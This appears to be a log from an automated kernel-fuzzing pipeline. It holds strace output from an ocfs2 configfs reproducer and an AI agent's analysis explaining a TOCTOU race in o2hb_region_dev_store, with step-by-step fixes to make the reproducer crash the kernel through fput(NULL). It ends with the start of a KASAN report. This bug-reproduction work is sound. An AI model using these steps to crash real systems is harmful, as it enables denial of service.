[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] write(1, "[+] configfs mounted or already mounted.\n[+] Created mycluster.\n[+] Created mynode.\n[-] Failed to wr"..., 819 <unfinished ...>
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5857] <... write resumed>)        = 819
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] exit_group(0 <unfinished ...>
[pid  5872] ???( <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5857] <... exit_group resumed>)   = ?
[pid  5872] <... ??? resumed>)          = ?
[pid  5871] +++ exited with 0 +++
[pid  5872] +++ exited with 0 +++
+++ exited with 0 +++
[   71.820194][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[   71.822379][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
]

170/3 2026/09/04 20:56 agent repro-oracle
2m Model:
deep-reasoning

Results:
map[Feedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.

From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```

The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
	if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
	    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
		return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.

When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.

The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
	fput(reg->hr_bdev_file);
	reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.

To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ProbePassed:false TerminalError: TitleMatches:false]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
   - Determine if the triggered crash matches the expected bug.
   - If you conclude they represent the same underlying bug (the same root cause)
     despite different titles, crash signatures, or call traces, set TitleMatches
     to true and provide a detailed, technical, and verbose explanation of the
     equivalence in the 'Feedback' field.
   - If they do not represent the same bug (a completely unrelated crash/collision),
     set TitleMatches to false and explain the collision in 'Feedback'.
   - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
   - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
     to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
     and provide feedback on how to improve the reproducer logic to trigger the crash.

Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
   the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
   or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
